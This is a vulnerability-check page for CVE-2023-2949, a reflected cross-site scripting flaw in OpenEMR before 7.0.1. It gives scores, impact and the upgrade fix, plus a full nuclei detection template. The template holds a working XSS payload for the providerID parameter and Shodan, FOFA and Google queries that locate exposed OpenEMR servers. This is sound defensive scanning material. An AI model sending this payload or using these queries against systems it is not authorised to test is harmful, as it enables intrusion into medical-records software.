OpenEMR < 7.0.1 - Cross-site Scripting

mediumseverity

6.1CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.1.

Impact

Unauthenticated attackers can inject malicious JavaScript through the providerID parameter, potentially stealing user credentials or executing unauthorized actions in the context of other users.

Fix

Upgrade to OpenEMR version 7.0.1 or later.

How to confirm it

Send: GET {{BaseURL}}/interface/forms/eye_mag/js/eye_base.php?providerID=%3Cimg%20src=x%20onerror=alert(document.domain);%3E
Positive when: status_code == 200 and contains(header, "text/html") and contains_all(body, "<img src=x onerror=alert(document.domain);>", "openemr")

Run it with nuclei: nuclei -id CVE-2023-2949 -u <target>

The full check

id: CVE-2023-2949

info:
  name: OpenEMR < 7.0.1 - Cross-site Scripting
  author: ritikchaddha,princechaddha
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.1.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the providerID parameter, potentially stealing user credentials or executing unauthorized actions in the context of other users.
  remediation: |
    Upgrade to OpenEMR version 7.0.1 or later.
  reference:
    - https://huntr.com/bounties/3842486f-38b1-4150-9f78-b81d0ae580c4
    - https://github.com/openemr/openemr/commit/af1ecf78d1342519791bda9d3079e88f7d859015
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2949
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2949
    cwe-id: CWE-79
    epss-score: 0.01472
    epss-percentile: 0.74003
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: open-emr
    product: openemr
    shodan-query:
      - http.favicon.hash:1971268439
      - http.html:"openemr"
      - http.title:"openemr"
    fofa-query:
      - app="OpenEMR"
      - body="openemr"
      - title="openemr"
      - app="openemr"
      - icon_hash=1971268439
    google-query: intitle:"openemr"
  tags: cve,cve2023,xss,openemr,open-emr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/interface/forms/eye_mag/js/eye_base.php?providerID=%3Cimg%20src=x%20onerror=alert(document.domain);%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "<img src=x onerror=alert(document.domain);>", "openemr")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from